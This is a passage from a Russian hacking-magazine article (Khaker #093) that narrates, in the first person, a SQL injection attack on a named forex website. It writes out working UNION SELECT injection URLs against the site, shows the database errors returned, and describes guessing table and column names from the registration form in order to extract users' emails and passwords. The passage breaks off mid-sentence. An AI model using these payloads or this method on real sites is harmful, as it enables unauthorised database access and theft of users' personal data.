Красиво жить не запретишь Стройков Леонид aka Roid Хакер, номер #093, стр. 093-086-2 https://www.e-forexgold.com/member_directory/default.php?categoryid=-1+union+select+*+from+mysql.user/* На что MySQL ругнулся, выдав следующий ответ: SELECT command denied to user 'eforexgold'@'localhost' for table 'user' Увы, но доступа к таблице пользователей MySQL я не имел, а следовательно, получить хэш рутового пароля не представлялось возможным. Но, несмотря на этот прискорбный факт, инъекция действительно работала, а это - главное. К сожалению, я не владел информацией о названиях таблиц в базе, поэтому после недолгих раздумий я решил положиться на удачу, попробовав вручную подобрать имена таблиц. Остановив свой выбор на названии «users», я вбил в адресную строку: https://www.e-forexgold.com/member_directory/default.php?categoryid=-1+union+select+1,login+from+users/* В результате чего меня послали идти лесом: Table 'eforexgold.users' doesn't exist Тогда я изменил «users» на «user», исправив запрос соответствующим образом: https://www.e-forexgold.com/member_directory/default.php?categoryid=-1+union+select+1,login+from+user/* На этот раз мне повезло. Мускул вернул ответ: Unknown column 'login' in 'field list' Что свидетельствовало об отсутствии поля «login» в таблице «user». Далее необходимо было подобрать названия полей. Брутфорс запускать не имело смысла, и я решил проверить имена полей форм при регистрации. У меня оставалась надежда, что они могут совпасть с названиями полей в базе. Ведь все данные, полученные из полей форм, обрабатываются php-сценарием, который, вероятно, осуществляет обращение к базе MySQL, внося в значения полей нужные изменения. Выбрав раздел регистрации (www.e-forexgold.com/transxpress/users/new), я открыл html-код страницы: <p><label for="user_firstname">First name</label><br/> <input id="user_firstname" name="user[firstname]" size="30" type="text" /></p> <p><label for="user_lastname">Last name</label><br/> <input id="user_lastname" name="user[lastname]" size="30" type="text" /></p> <p><label for="user_email">Email</label><br/> <input id="user_email" name="user[email]" size="30" type="text" /></p> <p><label for="user_phone">Phone</label><br/> <input id="user_phone" name="user[phone]" size="30" type="text" /><br/> Must be home phone. Mobile/Cell or fax<br/> numbers not accepted.</p> <p><label for="user_password">Password</label><br/> <input id="user_password" name="user[password]" size="30" type="password" /></p> Меня интересовало значение параметра name, которое передавалось скрипту с данными, введенными юзером при регистрации. Для примера я попробовал выбрать мыльники пользователей из базы, указав в названии поля «email». Получился запрос такого вида: |